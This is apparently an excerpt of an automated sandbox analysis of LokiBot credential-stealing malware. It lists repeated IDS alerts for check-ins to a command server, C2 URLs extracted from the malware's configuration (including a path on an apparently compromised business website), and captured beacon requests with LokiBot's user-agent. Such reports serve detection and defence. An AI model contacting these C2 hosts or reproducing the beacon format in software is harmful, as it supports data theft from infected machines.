Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.4:49795 -> 203.170.84.89:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.4:49796 -> 203.170.84.89:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.4:49796 -> 203.170.84.89:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.4:49796 -> 203.170.84.89:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.4:49797 -> 203.170.84.89:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.4:49797 -> 203.170.84.89:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.4:49797 -> 203.170.84.89:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.4:49798 -> 203.170.84.89:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.4:49798 -> 203.170.84.89:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.4:49798 -> 203.170.84.89:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.4:49799 -> 203.170.84.89:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.4:49799 -> 203.170.84.89:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.4:49799 -> 203.170.84.89:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.4:49800 -> 203.170.84.89:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.4:49800 -> 203.170.84.89:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.4:49800 -> 203.170.84.89:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.4:49804 -> 203.170.84.89:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.4:49804 -> 203.170.84.89:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.4:49804 -> 203.170.84.89:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.4:49805 -> 203.170.84.89:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.4:49805 -> 203.170.84.89:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.4:49805 -> 203.170.84.89:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.4:49811 -> 203.170.84.89:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.4:49811 -> 203.170.84.89:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.4:49811 -> 203.170.84.89:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.4:49812 -> 203.170.84.89:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.4:49812 -> 203.170.84.89:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.4:49812 -> 203.170.84.89:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.4:49813 -> 203.170.84.89:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.4:49813 -> 203.170.84.89:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.4:49813 -> 203.170.84.89:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.4:49814 -> 203.170.84.89:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.4:49814 -> 203.170.84.89:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.4:49814 -> 203.170.84.89:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.4:49815 -> 203.170.84.89:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.4:49815 -> 203.170.84.89:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.4:49815 -> 203.170.84.89:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.4:49816 -> 203.170.84.89:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.4:49816 -> 203.170.84.89:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.4:49816 -> 203.170.84.89:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.4:49817 -> 203.170.84.89:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.4:49817 -> 203.170.84.89:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.4:49817 -> 203.170.84.89:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.4:49818 -> 203.170.84.89:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.4:49818 -> 203.170.84.89:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.4:49818 -> 203.170.84.89:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.4:49819 -> 203.170.84.89:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.4:49819 -> 203.170.84.89:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.4:49819 -> 203.170.84.89:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.4:49820 -> 203.170.84.89:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.4:49820 -> 203.170.84.89:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.4:49820 -> 203.170.84.89:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.4:49821 -> 203.170.84.89:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.4:49821 -> 203.170.84.89:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.4:49821 -> 203.170.84.89:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.4:49822 -> 203.170.84.89:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.4:49822 -> 203.170.84.89:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.4:49822 -> 203.170.84.89:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.4:49823 -> 203.170.84.89:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.4:49823 -> 203.170.84.89:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.4:49823 -> 203.170.84.89:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.4:49824 -> 203.170.84.89:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.4:49824 -> 203.170.84.89:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.4:49824 -> 203.170.84.89:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.4:49825 -> 203.170.84.89:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.4:49825 -> 203.170.84.89:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.4:49825 -> 203.170.84.89:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.4:49826 -> 203.170.84.89:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.4:49826 -> 203.170.84.89:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.4:49826 -> 203.170.84.89:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.4:49827 -> 203.170.84.89:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.4:49827 -> 203.170.84.89:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.4:49827 -> 203.170.84.89:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.4:49828 -> 203.170.84.89:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.4:49828 -> 203.170.84.89:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.4:49828 -> 203.170.84.89:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.4:49829 -> 203.170.84.89:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.4:49829 -> 203.170.84.89:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.4:49829 -> 203.170.84.89:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.4:49830 -> 203.170.84.89:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.4:49830 -> 203.170.84.89:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.4:49830 -> 203.170.84.89:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.4:49831 -> 203.170.84.89:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.4:49831 -> 203.170.84.89:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.4:49831 -> 203.170.84.89:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.4:49832 -> 203.170.84.89:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.4:49832 -> 203.170.84.89:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.4:49832 -> 203.170.84.89:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.4:49833 -> 203.170.84.89:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.4:49833 -> 203.170.84.89:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.4:49833 -> 203.170.84.89:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.4:49834 -> 203.170.84.89:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.4:49834 -> 203.170.84.89:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.4:49834 -> 203.170.84.89:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.4:49835 -> 203.170.84.89:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.4:49835 -> 203.170.84.89:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.4:49835 -> 203.170.84.89:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.4:49837 -> 203.170.84.89:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.4:49837 -> 203.170.84.89:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.4:49837 -> 203.170.84.89:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.4:49839 -> 203.170.84.89:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.4:49839 -> 203.170.84.89:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.4:49839 -> 203.170.84.89:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.4:49840 -> 203.170.84.89:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.4:49840 -> 203.170.84.89:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.4:49840 -> 203.170.84.89:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.4:49841 -> 203.170.84.89:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.4:49841 -> 203.170.84.89:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.4:49841 -> 203.170.84.89:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.4:49842 -> 203.170.84.89:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.4:49842 -> 203.170.84.89:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.4:49842 -> 203.170.84.89:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.4:49843 -> 203.170.84.89:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.4:49843 -> 203.170.84.89:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.4:49843 -> 203.170.84.89:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.4:49844 -> 203.170.84.89:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.4:49844 -> 203.170.84.89:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.4:49844 -> 203.170.84.89:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.4:49845 -> 203.170.84.89:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.4:49845 -> 203.170.84.89:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.4:49845 -> 203.170.84.89:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.4:49846 -> 203.170.84.89:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.4:49846 -> 203.170.84.89:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.4:49846 -> 203.170.84.89:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.4:49847 -> 203.170.84.89:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.4:49847 -> 203.170.84.89:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.4:49847 -> 203.170.84.89:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.4:49848 -> 203.170.84.89:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.4:49848 -> 203.170.84.89:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.4:49848 -> 203.170.84.89:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.4:49849 -> 203.170.84.89:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.4:49849 -> 203.170.84.89:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.4:49849 -> 203.170.84.89:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.4:49850 -> 203.170.84.89:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.4:49850 -> 203.170.84.89:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.4:49850 -> 203.170.84.89:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.4:49851 -> 203.170.84.89:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.4:49851 -> 203.170.84.89:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.4:49851 -> 203.170.84.89:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.4:49852 -> 203.170.84.89:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.4:49852 -> 203.170.84.89:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.4:49852 -> 203.170.84.89:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.4:49853 -> 203.170.84.89:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.4:49853 -> 203.170.84.89:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.4:49853 -> 203.170.84.89:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.4:49854 -> 203.170.84.89:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.4:49854 -> 203.170.84.89:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.4:49854 -> 203.170.84.89:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.4:49855 -> 203.170.84.89:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.4:49855 -> 203.170.84.89:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.4:49855 -> 203.170.84.89:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.4:49856 -> 203.170.84.89:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.4:49856 -> 203.170.84.89:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.4:49856 -> 203.170.84.89:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.4:49857 -> 203.170.84.89:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.4:49857 -> 203.170.84.89:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.4:49857 -> 203.170.84.89:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.4:49858 -> 203.170.84.89:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.4:49858 -> 203.170.84.89:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.4:49858 -> 203.170.84.89:80

C2 URLs / IPs found in malware configuration

Show sources

Source: Malware configuration extractor	URLs: http://kbfvzoboss.bid/alien/fre.php
Source: Malware configuration extractor	URLs: http://alphastand.trade/alien/fre.php
Source: Malware configuration extractor	URLs: http://alphastand.win/alien/fre.php
Source: Malware configuration extractor	URLs: http://alphastand.top/alien/fre.php
Source: Malware configuration extractor	URLs: https://www.ritcophysiotherapy.com.au/wap121/five/fre.php

Source: Joe Sandbox View

ASN Name: DREAMSCAPE-AS-APDreamscapeNetworksLimitedAU DREAMSCAPE-AS-APDreamscapeNetworksLimitedAU

Source: global traffic	HTTP traffic detected: POST /wap121/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: www.ritcophysiotherapy.com.auAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: AD291CEContent-Length: 190Connection: close
Source: global traffic	HTTP traffic detected: POST /wap121/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: www.ritcophysiotherapy.com.auAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: AD291CEContent-Length: 190Connection: close
Source: global traffic	HTTP traffic detected: POST /wap121/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: www.ritcophysiotherapy.com.auAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: AD291CEContent-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /wap121/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: www.ritcophysiotherapy.com.auAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: AD291CEContent-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /wap121/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: www.ritcophysiotherapy.com.auAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: AD291CEContent-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /wap121/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: www.ritcophysiotherapy.com.auAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: AD291CEContent-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /wap121/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: www.ritcophysiotherapy.com.auAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: AD291CEContent-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /wap121/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: www.ritcophysiotherapy.com.auAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: AD291CEContent-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /wap121/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: www.ritcophysiotherapy.com.auAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: AD291CEContent-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /wap121/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: www.ritcophysiotherapy.com.auAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: AD291CEContent-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /wap121/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: www.ritcophysiotherapy.com.auAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: AD291CEContent-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /wap121/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: www.ritcophysiotherapy.com.auAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: AD291CEContent-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /wap121/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: www.ritcophysiotherapy.com.auAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: AD291CEContent-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /wap121/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: www.ritcophysiotherapy.com.auAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: AD291CEContent-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /wap121/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: www.ritcophysiotherapy.com.auAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: AD291CEContent-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /wap121/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: www.ritcophysiotherapy.com.auAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: AD291CEContent-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /wap121/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: www.ritcophysiotherapy.com.auAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: AD291CEContent-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /wap121/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: www.ritcophysiotherapy.com.auAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: AD291CEContent-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /wap121/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: www.ritcophysiotherapy.com.auAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: AD291CEContent-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /wap121/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: www.ritcophysiotherapy.com.auAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: AD291CEContent-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /wap121/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: www.ritcophysiotherapy.com.auAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: AD291CEContent-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /wap121/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: www.ritcophysiotherapy.com.auAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: AD291CEContent-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /wap121/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: www.ritcophysiotherapy.com.auAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: AD291CEContent-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /wap121/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: www.ritcophysiotherapy.com.auAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: AD291CEContent-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /wap121/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: www.ritcophysiotherapy.com.auAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: AD291CEContent-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /wap121/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: www.ritcophysiotherapy.com.auAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: AD291CEContent-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /wap121/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: www.ritcophysiotherapy.com.auAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: AD291CEContent-Length: 163Connection: close
